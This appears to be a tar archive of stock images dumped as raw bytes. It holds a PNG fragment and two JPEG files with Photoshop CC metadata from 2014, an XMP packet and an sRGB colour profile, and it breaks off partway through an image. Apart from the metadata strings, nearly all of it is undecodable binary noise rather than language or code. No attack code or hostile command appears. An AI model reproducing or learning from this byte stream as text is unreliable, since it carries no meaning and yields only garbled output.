:�jy��]�rm��e~AC@`4O�i8�<��p=�S��3���	����t�
hhЊ�����f�����9��[�:8��Ua�q̡}�ٖc7���u�c��t�%Z�M�ر���X,S��O[��[�Y�oi#o���%���
$0Rk�	l���sK���
q�^�؍��I��=7��-G)�K)&u���;�͓�fy`�=�8������l�G�:GMk�c�Uؙ�ص���p��.p쎁�qA�l,��\lJ	��K9���Q��8���uy%��N�,t�itc��fc���3,j����W�̵�"<�N��OZޚ��
y����<j[��M��ѱ��t��^u���#A�l,p�bQ�X�$f���啾�����VT;,�u�tg�u칇����Z,u�n���u���Є��	�.�29w������o����%��!
ܴ��`�i�����o[���P(UH8v�Mw#l�\�Zn�$�R���hvc��܇},�vys�]��!vymA���c���^�H�ZQwO�/�`V��lp.5NGݍ�*|M4��B|��0ȵ+��k��xo:.o¼^hzEh���)ѱ�(2����g�޺���H�k��y��8�%�c�tNרq#�.�
wu��0&���&�;�����n��te>Ļ�+�*	��a���»XZ]�r
qL4_O���^
�]�W] ���2�U��c�1ʮ�>�Ak���d��{�=����ưˑ�Р��t��U+�s����wyJ�Ho�-��[�V��n'����v��N�]��^��)�8�kp�k��y5�[\�]5�ԣ琀�$t�jxﲼ�km�h����[��������=�u����H�e��9��貸�添��uX@�]i��wYڞ��O��I��t��m��+D������?�o�G��IEND�B`�images/img1.jpg000060400000056454150710775200007366 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:27 19:31:43����&(.gHH���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�-ൺ���,i�^��CH�L��-2��e�[HV�e���
�v�%���
�o�=&ODb��%hN!HBxR�6��%!�H��%� �[�N-F�ڐ�*��/Q+BiM!�K�JԖBi^���S���+\�.�
纰5\��
�>���iЁ�L�$]�����%��ïl7@�}���C��&eJ��)�A%#�S���^JB���<�O��J[yKyR؟�	j�{�[�'��a0)��-�6����R���%�$��dM�-�%?���:�v�)��t�}[�	�Q�k�ó�{w3�)�Րh�/N�<���P��0:�kFʫ��V�NfC�֙'���5�j"�L;Q6�J�j���Q�pY�Yf��tM&��F�����KA�+5u6��~(q!�6��c;�6bU��ZH�.%:��[ک�굽E�:����o
֬�ڌ#�ՙ�7%ħw�j�x=��
��=A��yG��*J�9!�B�5�AK���Ҩ-�#�O+����?�ܤ��WʹWYtpk��1�El�hS�Bʧ�VGy�i�Vx-e�m`',Tj�.�
�v�GEYGer�PD���Q!����Wx���I%�	Y����G��]��a�f��|������a_���<�����xժ��`��L�A��ɟ�cggZ��[��{tX}G����pM!v�K����\��Nì�U|�,��*��
�ZZ5|�'p�.�z�����k7�Z��<x.��cR�5wzfk�p3ⷩ������S6�Z���_O���1^F��c6�x+��!��*��(ƫ�8\Q�*�-Vk���m~J`4s[nCzqa��V+���_/���7e����-�8Cq�����
��ǝuAV�����2�x#6����57x�
*՘�p�U����SKN��V��Ó�B�e���X�~j���Y֮�rb�R�[�?Vm��0�5�ݮ��W�Y�[�B��ѱ��{�Iy�n���V��%�\��TjZ �����h;SYc _���A��`ph
�Ί���~�zG�n��ϴT9e���W���Y��qѤ�Ԧ�����V;�>**�~t|YC��]���RD��d��!���rKuM���~)Cܤ����T%-ȩ qSnE���R�����ۗE�;�5�)J)�B��ufૻs8Bls~�!�v��%Z�%)�\W�&�ψO��c_�t)%iL\���Ϧ��!x<��,mn�)9�.r	���6�iʗ�`����I�T�kv�+S��Q����8�{-��SK#_��n��-tܛ1��֒Y�O�v�3�g��ھ�`��>Ս�)՟���>��dۊ`85�.iծ����3���#�U�$-T��Σ�:�g�g�}��n>���H������������X!��li�?��{V�M����0Ț�,A��y���M�'���J�Ï�ۇ'X�\��e��oA�w��q�c�2�;�[��H_Vܜwj����0�o����C���}�!.�!Ljqr�]d3�#�����Vܖ�1���_��4k}���g���r�MUP\�P�ah:��u�KzT�s�˳R�I����1\��c�̈́���5�ϳ���j�|�3����ԩ4ɬkF֍d;q��c��?z����0��sXY���{ƻ}�:��\���!�2�@�J�/���z?���e?�JQ�Iofѕf;w�k�p�Z�۱ߟ�b��,އvU�n�.�.���KI%���=�݌w�W�]{�n�U���3����4��v�c��Y���o���Ϭ#�➇�A��iv+�6R>�ף�Qty} h��x�&^NM9��5d�<YK�?�/^��z�/^�Uu,p_�ȧ�W4~�����hR�i�xλ�&�9}=����;]k?>���~}���k��������_�\;w]S���~���v/auaܬ�ޗ�S��i��$�0�Zǻ�쭟�/�o9����$��9�[����R�yYKѰ��>�G˷�Z�H����չnu�صZ�76��Ι�O�*��t�/?����X�֪�O��R�����������{Z`7������=*�Wq=^7׌�
���[�ѡ���X�[��w��t=�k��z�����2�ͯ�y�7Rf��C��?E����P�e��ZU2�
����}~˃K����
�����na���������w��?�V'Y����}j�h�����!����H��vl�hc�k��Z�N`p�YSËA�n�6��b<qG�{�I�̨>���c�c;��1��9s�?X�
dac6�Üo��-������ٷ�?b�fOS�شf��K-��e��l��c�Y���`я���k̮�Рf:j��Q��1��]D���}6AswO����k?L�|޿���ӳ���Ǵ�܂\�o�~���ε���ߴ}�C�
��mc��z�V�*�'����VS��߾̫o���7��,\�Awe��v5�
^��F��l��I��d��U=.�P�T;�k�-��i���^��U�_��Z=?�a��*�zyM��	s��5��-��˪�7����{,�"�ߔ�^8cG����c��R��ߴY��=?P7l0�P�\�;c�ݹ���̲~.5�-��!�i��-�mau���n<��$��h�Um�w���k�>�^#��Ae�����>ae�p�:��r|Mn�.	C�.��G�S�:������V[g�)�h��w��\�L%=��(.����� �7�)@<�Gpu6�����n��������q:�����BK��Ŧ�݅��[�d6�Z7��-�x��T��ķ����i�ӱ@"�k�d�֙����@ ����b!����J��G��6[K^������r������:�SKH�n���K�֧���^�<��ԵA�8�����������7e}W�˰�y��2g��W����A���hk����xU�oU��ն�������F�E-�u$��q�gF�xs�+�ӥ���l�~��;ҵ��7M��s��"����
��kw+�G.����k~�GĢ"�ꕴ�;���#s��~�"kN��:*N˴�c�^�IE
�uM���>������Z��2��7��c��?�S��⺄;��C�+c)�IK�9�ײ��lt��4*M�D��L�97:��Z�L�����7V���RD�~������뾠uL�|Êב[����,y>� r@Q7��\>K�c�q)�B�S���P����@j�*@�il����r��J)Ò�3�4�FR���)U�̭�U�_u���ݾϻ�#JV�e)J��)!���ҚRS����Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI��
Untitled-1��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM����,g���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�-ൺ���,i�^��CH�L��-2��e�[HV�e���
�v�%���
�o�=&ODb��%hN!HBxR�6��%!�H��%� �[�N-F�ڐ�*��/Q+BiM!�K�JԖBi^���S���+\�.�
纰5\��
�>���iЁ�L�$]�����%��ïl7@�}���C��&eJ��)�A%#�S���^JB���<�O��J[yKyR؟�	j�{�[�'��a0)��-�6����R���%�$��dM�-�%?���:�v�)��t�}[�	�Q�k�ó�{w3�)�Րh�/N�<���P��0:�kFʫ��V�NfC�֙'���5�j"�L;Q6�J�j���Q�pY�Yf��tM&��F�����KA�+5u6��~(q!�6��c;�6bU��ZH�.%:��[ک�굽E�:����o
֬�ڌ#�ՙ�7%ħw�j�x=��
��=A��yG��*J�9!�B�5�AK���Ҩ-�#�O+����?�ܤ��WʹWYtpk��1�El�hS�Bʧ�VGy�i�Vx-e�m`',Tj�.�
�v�GEYGer�PD���Q!����Wx���I%�	Y����G��]��a�f��|������a_���<�����xժ��`��L�A��ɟ�cggZ��[��{tX}G����pM!v�K����\��Nì�U|�,��*��
�ZZ5|�'p�.�z�����k7�Z��<x.��cR�5wzfk�p3ⷩ������S6�Z���_O���1^F��c6�x+��!��*��(ƫ�8\Q�*�-Vk���m~J`4s[nCzqa��V+���_/���7e����-�8Cq�����
��ǝuAV�����2�x#6����57x�
*՘�p�U����SKN��V��Ó�B�e���X�~j���Y֮�rb�R�[�?Vm��0�5�ݮ��W�Y�[�B��ѱ��{�Iy�n���V��%�\��TjZ �����h;SYc _���A��`ph
�Ί���~�zG�n��ϴT9e���W���Y��qѤ�Ԧ�����V;�>**�~t|YC��]���RD��d��!���rKuM���~)Cܤ����T%-ȩ qSnE���R�����ۗE�;�5�)J)�B��ufૻs8Bls~�!�v��%Z�%)�\W�&�ψO��c_�t)%iL\���Ϧ��!x<��,mn�)9�.r	���6�iʗ�`����I�T�kv�+S��Q����8�{-��SK#_��n��-tܛ1��֒Y�O�v�3�g��ھ�`��>Ս�)՟���>��dۊ`85�.iծ����3���#�U�$-T��Σ�:�g�g�}��n>���H������������X!��li�?��{V�M����0Ț�,A��y���M�'���J�Ï�ۇ'X�\��e��oA�w��q�c�2�;�[��H_Vܜwj����0�o����C���}�!.�!Ljqr�]d3�#�����Vܖ�1���_��4k}���g���r�MUP\�P�ah:��u�KzT�s�˳R�I����1\��c�̈́���5�ϳ���j�|�3����ԩ4ɬkF֍d;q��c��?z����0��sXY���{ƻ}�:��\���!�2�@�J�/���z?���e?�JQ�Iofѕf;w�k�p�Z�۱ߟ�b��,އvU�n�.�.���KI%���=�݌w�W�]{�n�U���3����4��v�c��Y���o���Ϭ#�➇�A��iv+�6R>�ף�Qty} h��x�&^NM9��5d�<YK�?�/^��z�/^�Uu,p_�ȧ�W4~�����hR�i�xλ�&�9}=����;]k?>���~}���k��������_�\;w]S���~���v/auaܬ�ޗ�S��i��$�0�Zǻ�쭟�/�o9����$��9�[����R�yYKѰ��>�G˷�Z�H����չnu�صZ�76��Ι�O�*��t�/?����X�֪�O��R�����������{Z`7������=*�Wq=^7׌�
���[�ѡ���X�[��w��t=�k��z�����2�ͯ�y�7Rf��C��?E����P�e��ZU2�
����}~˃K����
�����na���������w��?�V'Y����}j�h�����!����H��vl�hc�k��Z�N`p�YSËA�n�6��b<qG�{�I�̨>���c�c;��1��9s�?X�
dac6�Üo��-������ٷ�?b�fOS�شf��K-��e��l��c�Y���`я���k̮�Рf:j��Q��1��]D���}6AswO����k?L�|޿���ӳ���Ǵ�܂\�o�~���ε���ߴ}�C�
��mc��z�V�*�'����VS��߾̫o���7��,\�Awe��v5�
^��F��l��I��d��U=.�P�T;�k�-��i���^��U�_��Z=?�a��*�zyM��	s��5��-��˪�7����{,�"�ߔ�^8cG����c��R��ߴY��=?P7l0�P�\�;c�ݹ���̲~.5�-��!�i��-�mau���n<��$��h�Um�w���k�>�^#��Ae�����>ae�p�:��r|Mn�.	C�.��G�S�:������V[g�)�h��w��\�L%=��(.����� �7�)@<�Gpu6�����n��������q:�����BK��Ŧ�݅��[�d6�Z7��-�x��T��ķ����i�ӱ@"�k�d�֙����@ ����b!����J��G��6[K^������r������:�SKH�n���K�֧���^�<��ԵA�8�����������7e}W�˰�y��2g��W����A���hk����xU�oU��ն�������F�E-�u$��q�gF�xs�+�ӥ���l�~��;ҵ��7M��s��"����
��kw+�G.����k~�GĢ"�ꕴ�;���#s��~�"kN��:*N˴�c�^�IE
�uM���>������Z��2��7��c��?�S��⺄;��C�+c)�IK�9�ײ��lt��4*M�D��L�97:��Z�L�����7V���RD�~������뾠uL�|Êב[����,y>� r@Q7��\>K�c�q)�B�S���P����@j�*@�il����r��J)Ò�3�4�FR���)U�̭�U�_u���ݾϻ�#JV�e)J��)!���ҚRS��8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-27T19:31:43-08:00" xmp:MetadataDate="2014-01-27T19:31:43-08:00" xmp:ModifyDate="2014-01-27T19:31:43-08:00" xmpMM:InstanceID="xmp.iid:ff89eda7-2a50-aa40-8269-f964c2788783" xmpMM:DocumentID="xmp.did:c66197f7-2b7f-7c4d-86b3-9dbbe57db637" xmpMM:OriginalDocumentID="xmp.did:c66197f7-2b7f-7c4d-86b3-9dbbe57db637" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c66197f7-2b7f-7c4d-86b3-9dbbe57db637" stEvt:when="2014-01-27T19:31:43-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:ff89eda7-2a50-aa40-8269-f964c2788783" stEvt:when="2014-01-27T19:31:43-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
����"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�h�r��)�3�h�S��O�y�þQ0�S��(���˕%����q��|*�U��ql�0�/�c�aB�`cc�b��c���c�aB�t��劯͌��U@q��<��Upr���V�ӌ��^r����b��c9er�Wؙ|�x���u�8�o�s�y
��F�u��s
�/E[�A�Y\�NCb��]�A��@�L�&�L�S���6&$�m)�>�!��![
��H�$����ch�X�$����`�$�a���ZE�2�L
$��a�ZEz�FL
�(�<KH�S7����獢�BLp�r�s�kH�S/����h�G�����mid�1Y\���S&W����S��O����FH4�T���d�D��*צF\�"��-��A\��l�.ѡ�8TS%6(�1��b�Vd�0JBWb0�aP��P�����4��ţM�P�[Cp9��f�*!�pH�/�ҡ���-��aF4�NXS����cJ����8�_���n#����_����P�sq8�����C�m�R㛉�i��*���p8�3S���)�$��u�F�{.�l㐧�#.M�z��t�Uk��>Q�3��ס��>��&z^��!|Ms�[�n8T�k $��o��Am\i9���"J���v�F!
i��Uv^��izb���Č�bo0�� w�d��z���a@�8��W#Ą㘦7��"�x�Z�x丕0�=Z�\���(;�%FTf�07�<q�8�Fr\�֗�1���K������7�`���*i�e���pt�,�@�lj	�r�"�|Y$
��^4��W�ӊ����B��ĩ��~-*2���>����m��[i7�TU4��[+Ǡ,i�Q�������2�(�����g�>�-����&
<->���t�LYc�<&q!�b2!��1'����$�a�%z��Ա�%���l&��D��r�ce��Xnd��m�u�X�ވjJ�(�I�:�Q����Yj�����Evl�η���v��\�S��OA�P�c
�G\�z���$�܅k�d
����QZ�;��{�Za5��´�RS��4����-����,�S�LE�����ٲ�YZn�:�1�n��������?L�6�6�T���&�W�
�V`F��[�`�k\1����9Ֆ���W%Z}�F!�,�9*1^X_o5@�\��^����
��0F%n�ri��K�T��=�H�"��]�X��\�E�ݩ��cE�-�c�*.��!���7S�㸙��m��O|UeV��2�QRp��F��mSP�('m��
��A�^��(��WK$�V퀦�Q�g$���,6�A����Mϖ�z&tF�N"��{`�O��̦�qD�%�|5Ф�ѿg���\��Ay��w(��k��k�H:|�J��p��AGSE�xT��^J	#�LH;d�P�`����Ÿ��v9>$$(�{�qf�.�$��C"}�#;�2�5:a���zMp��zd�Ne�
b-1�Ҥ|2[�ؘ�������Z���h�*����(�)�/L�
M?�՟Z0 a�P�"��zk�;iK�r�[e�ج�Ap���5㒄@�|Um��
0�/�l�0\��
1A�a�E�Ѧ鋥��j��|1�W_<(��(�u"�4ăuA�-��a�r��=?C�=�*�Y�c�ُ|PZ�Ҩ���E�'%�
�4�{��q��hFXlU�8���ݰG,�XiT�b?U»�'��2Rhz�Lhq��,��1��?$��A�gTku=�<�(�F
OŮ<�$D�H��{v�v9�.t���Gy���)��a�z��@�m���>���)%0�m�"v9	A�3���63�s�Y���.����=Jo��-�S�֐iZ=�aK)�m���"�8z1
�x�[P�?heB 6O1�JDG	Q��§��_� ګ7�%�Wy��Q�E�����dv�LN6�$����}Lv�
F]pZ-ڄ��lH���[�]qUq3����������g����G���C���ȇ�8����J��Lz����h����X2H�`��۩ŽH���JC}�|�\֨ۮ��:�f���U��rĹe��U9e�ī�����z�m6j��P�Z#�_q��W��bؓ6�X�΍W�Y�=Z��&nT���kL8�?��'�7�<aԶ	?�:���Zↆp�7��y|t���w�6��m;D븡���e�0�����rJH�̸�i��g�榷����"!�ƙ��_�+�c�am9����� *�K:z�,�W��M�E(|,#��r��Cc�b����
�努W.��,�⪕ˮ'\��뚸��)_\r��ѱ*�*�K�c�,.�}�~W5qM�^����P�c�A��#��*�S'F��ڣ+��R1��Uԍ)*1X��w���lV��nX2M*@+W��I-n��Q�<F�7J�6"͖���|$�+Y�>{�]�>[�e����(+��$���T��[T�/���8�	nc�$�S&��g�[��(7(*�$w��7VlL �?a��ZA��m�&��������Nt��	B�y�ʀ�n#3���M��M���+h�:e�=�E�מ^�BmP����,*>��Ogwj{����{y�r�k8�I?�L�_��:hAb�U�,�bi@�8�T�w=L>86���G�#,7�M���0�+�?I_I����ȗp���A4��`G0���<���*�XP���
���b\��b���W囖*�\��e�*��7,|W�;�����"��WT���#n#M��� �,x�,Oa���i�sn����~�<��8!�S����$��I��@A���C%do~�v$Q����28bE(��~I�vj��+�j�����l��5��+W? 1$e �׶V��ܔ� ��d:+��b��$�%w5SC�׿2�%�@��:�~�?A��I>�oq9�4��+R�f5&�W�ٟ�1��glG���G����	�cF�6�b&�T2
����ͤ_�s�F�m�l<æé[�Ve���ߴ�汝+����Ə�IK��X�G����"�̟V�dr��#含�)]ٱ{6)�A�Oѝ�Ken���]u��05Q�F����z���dXu�,Ƌ'T'��E,2Q��:V��mJ�H6a��نs���M5����n?bh�ٙW���@�3�9�m/��K �H�|��-�\��˒	|���
��rK�}�8S-ޡ�݋-B,A1K$8h�̿˃�u8.bp�#���w	س�7�1���I�����ޣ&�|��"]��0���9o��.$I�Q��R�8��/ִɤ�n���n�-}��{c�{�ͥݡ��L����0??�zO�O�<��-N$�lb��_q�&�/����"2�/P?jvy}?
G�-ѥ�Z��AutioI�PQ���;MM�D�(�=D�y������ta��=����j���s�p��M����!�~�M���i�����8%$QE�z�{o��s�v�]�K��6,��Jff`*����B��+E�w:[/e'�����n��������,yLG�eH�j+<jJ�i�<W�	���_��T�M�C›�~��ך�+������\�}+dk���+��~����h���y�uW�5����8�j�<�(�v�4E��O��d��!)ʬl<وF�>L�T�F�'�=��W�QT
Ku%��_�ȟ��5)��|͹�,�|wR|n����o�8�8�d@�D�BL5b�C��m���8��X��X+JԴ��Hi^�8˷����-�̶\c��a�ʗ��[r��wTZD���1���Y M։e�Üq(Q:���4��(��BB�v��u��R*[u�v���;w�%�z�S���m-�o�۹�������־��i>����k���Vt�)���~�푱�%w��#�ȟBG�ȶZ�8��)��
AAN��8��p_1�_�����(V�Y"e�vP�~���{U�լ�� `]GGO�C�g�tmZ�^�-�[&

ƒN�ߴ�	����[��=k˩��w�ؖ���5�Q?�W&H阮4�<�S򥟙4�M��6�?���;��?�i�	|�n繱���z퐬�/�H����i��������<�R�9��/Yc���l�녺փ�mo�iҬ:��2间�������}�_���F|O��5]
�8���e_���0���6ݽآ8��N�:��6�o�Нn��S���!�Hg"z����=����閐�/����RD�}���+t;��4�D�@���_��Ɇ���U�t��g�Ҏ��(ظ�#՚�A
�ok/JJ>����$n>�Y5���/ZX[�j�zP�<�rK��ǻ�_�\�X~o���I�u���ޙK�x�������+�#�B��3��7���-��c�&3�:'���~i��W�Џ�w�^�hB����ى4v�Y���Q�ǹ��b��"�%�7LG�{���Ρy�M�x�_b�ߋM.�*��Uu��+���\��))�9{G_�f��XO��RM^�O��B��w�9�n���k�"9׹"W�R�����X��e��p��h���f:7�����._�����M�4��@�r��c1����+��i>�@�x}g�*�X};8X�u�9H�����l8���ڍ�I'i��|�f���:�$�ⳕ�GSHUُ"eh��s�=[$Vz������z"����j����c����L�\{3�re���j2�r��V����
���W�j���=v�e�-�X���ܡa"zu����\1����#F�A'�Z���N���T�'�2��J��4�ż����{�{���|#�B:��O6����ק�'�Uw�.��#��<go�D3
�V����%M;��t��8���N�|����$��#9�8�;#,�h�C)#/'��MA��/ ���m_0i	ip�鶫�~��'XH�M���\.0
6i.#!le<����r�J~����ˠ"�pz���j�#pz�Ih�7)m�=�<�{e2�!OΣ�Wz$3�jP��V�XD�z���'e.�h��q7��O�9Q��k��@����~]O
��=����;��p�KM{M`&�+���$��y}��O�YHk24�,b��-���D���VD��)�ZCj�jh��RD�NJl��J@?�!�3*���o�(��y��>IDz�}(*z��	��e���w��d��L�L���N�{��}�Ɉ�щ�=[(
<S�c��Mu
��k�"�vb���_��ac����##���j�Q/z�/~�]RsS�"^�f��b
+6�I��6)uI��͊�������C���%�5P��j��d�mU�w��
<pF)\�CJ���n��8E�~o/���F�cf�zwKԠ�l���`C�X�<��k��&�A�]��h��މa� �&��(t �n;���R��D��lM��^��iE�>���k���ai6<GSLM��z�5čձ��lj4���K�Wk�4�r�Z�%����fV8��x��D�lث{e�k�\U����6(]\���5qV�ck�������Go��	�֯�w�o|���A��)š���U=�*'�~���5J��-.Rh�H�8uCy;�w�j��Y�䍯&n�9��߫�v�٦O���U�G���N$1⸪�'11\v���r���q¸��㫉�+���]q���2I∢��ZC��c�:�o�
���*�K�z|�I��i�W5r��…��\n�{�Cu�\n�����5q����_��images/img6.jpg000060400000070434150710775200007365 0ustar00���ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:27 19:33:50����&(.�HH���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��dXR�3�ZΨ��k�T�;m�*��a1,�� �QXq���َ6�C�Z}��R�4�qʦ<\[�+��E�p�x�X�T=�
�>Eu�֓
U��KW� C�NL���[Q��cP�u�yw��.�[��V�O�BK���P%�<VT���0�C�����uޡ�O�{��Zv��ua����Q�d.�>���_32%���i��/�����$�$�\�ew!v�:��=^�_k����!SpPO�#e�=���U֖4� ��bӗ�l1�W���?�c~t��u��)���F���Rk
z�X��#��1����ӕ��VM��n��n�5�?8B�XB�]Ѩ�M�*���ͱ�UY���E�/�(c���y�_'�L�P �T�h��/�оzm�ɍ
��=�@�.ƌV��=��(�)���G�B�ޑ���U��*�z�O?�oa%V�5��� ����^�]r��
��5��1�U,�$r�ݗ3�`/�'v���I�{�P��lr�ߒė=Ѳd�
af^�(�s��RO
��YN��=�� M�g��%�$x�=�9�
��	py�ctz�(-#�D���<A���9�s����n{i�RL<�e�{�5v�ܼ��n�������	c���'ծ����Q:�����xxT�Z\�K���<L,:�U��
�+���d��b5�b�����1�5��M%sٴ�e�8����ǎ/u8���$�S�ioJȳ!��:hJ�t��&��	�N�J�r�(�O�
�.?�7�J>�E�>/�����6\@T��[Ǧ�K��r���s����cD��]Qp$bTW������nf]��᪗�A�E���������Z�P�ї�H�	�'�8Z��_���<�tc)-��r*���8=ֿ��6W�0\��-~��OӴ[��3O����m��֍U��kO7g����12�� A��ll|�����J��2rl�U鳱:��z~�n���e(�Kb2%����q�ma���_��a�
a�֘���OL���Opr=/hiv��I)�x-%���[��p�
��12��[��Љ�s�ߓ��ls][��˾
\oU�W�?�#�V�v�����!au��5��[��g�m�����xJϬ�u�7��U��.(��g�������"xԠ��4~����?�su��a��^��HZU~��Vz����H��>�D�m�N������ʦ�������B���TV}����a��Ԙ�5�Y��~vE�f����I�>�}Q�����Ѻ�3-6�}&������s-N�֑��ҿ��1��
|�3��k�"
���nsG�[Z{�Jm���h����&�?��Gg�v���[K�nC�'���hq"����_�'�d�q��V;���6���G���Y�����_�/-���u���w��&G	�Լ��~c���y�B�9����IzV/M���F��rJ��Y�rl���]�>��C��ԍ��c�s*7ե�w*��s2�)�
H��f�&T�g?yS���a~CU����J���ľ�Z�<J�����Gџ㽼��"��[hd��A�<�cO��'�e?��
